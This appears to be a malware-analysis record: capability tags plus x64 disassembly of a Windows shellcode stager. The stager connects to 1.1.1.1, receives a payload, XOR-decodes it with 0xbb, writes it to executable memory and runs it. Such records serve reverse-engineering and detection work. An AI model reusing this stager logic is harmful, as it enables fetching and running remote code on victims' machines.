Function at 0x140001000
Capabilities:
Act as tcp client
Allocate or change rwx memory
Connect socket
Connect tcp socket
Convert ip address from string
Create tcp socket
Encode data using xor
Execute shellcode via indirect call
Initialize winsock library
Receive data
Receive data on socket
Reference cloudflare dns server

Disassembly:
push rsi
mov eax, 0x11f0
call fcn.140001fa0
sub rsp, rax
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x11e0], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor esi, esi
xor edx, edx
mov dword [rsp + 0x28], esi
mov rcx, rax
mov r9d, 0x3000
mov dword [rsp + 0x20], 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAllocExNuma]
test rax, rax
je 0x140001286
mov ecx, 0x202
lea rdx, [rsp + 0x40]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x140001286
mov qword [rsp + 0x1200], rbx
lea edx, [rsi + 1]
mov ebx, 2
mov qword [rsp + 0x1208], rbp
mov ecx, ebx
lea r8d, [rsi + 6]
call qword [sym.imp.WS2_32.dll_socket]
mov rbp, rax
cmp rax, 0xffffffffffffffff
jne 0x1400010a8
call qword [sym.imp.WS2_32.dll_WSACleanup]
lea eax, [rsi + 1]
jmp 0x140001247
mov qword [rsp + 0x1210], rdi
mov ecx, 0xa1
mov qword [rsp + 0x1218], r14
mov word [rsp + 0x30], bx
call qword [sym.imp.WS2_32.dll_htons]
lea r8, [rsp + 0x34]
mov ecx, ebx
lea rdx, str.1.1.1.1
mov word [rsp + 0x32], ax
call qword [sym.imp.WS2_32.dll_inet_pton]
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rsp + 0x30]
mov rcx, rbp
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x140001270
xor r9d, r9d
lea rdx, [rsp + 0x1e0]
mov r8d, 0x1000
mov rcx, rbp
call qword [sym.imp.WS2_32.dll_recv]
movsxd rbx, eax
cmp ebx, 0xffffffff
je 0x140001270
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, rbx
xor ecx, ecx
mov rdi, rbx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
test rax, rax
je 0x140001270
mov edx, esi
test ebx, ebx
jle 0x1400011f0
cmp ebx, 0x40
jb 0x1400011f0
mov ecx, ebx
and ecx, 0x8000003f
jge 0x14000116e
dec ecx
or ecx, 0xffffffc0
inc ecx
movdqa xmm2, xmmword [0x1400032b0]
sub ebx, ecx
movsxd rax, ebx
nop dword [rax + rax]
movdqu xmm0, xmmword [rsp + rsi + 0x1e0]
add edx, 0x40
movdqa xmm1, xmm2
pxor xmm1, xmm0
movdqu xmmword [rsp + rsi + 0x1e0], xmm1
movdqu xmm0, xmmword [rsp + rsi + 0x1f0]
movdqa xmm1, xmm2
pxor xmm1, xmm0
movdqu xmmword [rsp + rsi + 0x1f0], xmm1
movdqu xmm0, xmmword [rsp + rsi + 0x200]
movdqa xmm1, xmm2
pxor xmm0, xmm2
movdqu xmmword [rsp + rsi + 0x200], xmm0
movdqu xmm0, xmmword [rsp + rsi + 0x210]
pxor xmm1, xmm0
movdqu xmmword [rsp + rsi + 0x210], xmm1
add rsi, 0x40
cmp rsi, rax
jl 0x140001180
movsxd rax, edx
cmp rax, rdi
jge 0x140001210
nop dword [rax + rax]
xor byte [rsp + rax + 0x1e0], 0xbb
inc rax
cmp rax, rdi
jl 0x140001200
mov r8, rdi
lea rdx, [rsp + 0x1e0]
mov rcx, r14
call sub.VCRUNTIME140.dll_memcpy
mov rcx, rbp
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
call r14
xor eax, eax
mov rdi, qword [rsp + 0x1210]
mov r14, qword [rsp + 0x1218]
mov rbx, qword [rsp + 0x1200]
mov rbp, qword [rsp + 0x1208]
mov rcx, qword [rsp + 0x11e0]
xor rcx, rsp
call fcn.1400012a0
add rsp, 0x11f0
pop rsi
ret
mov rcx, rbp
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 1
jmp 0x140001237
mov eax, 1
jmp 0x140001257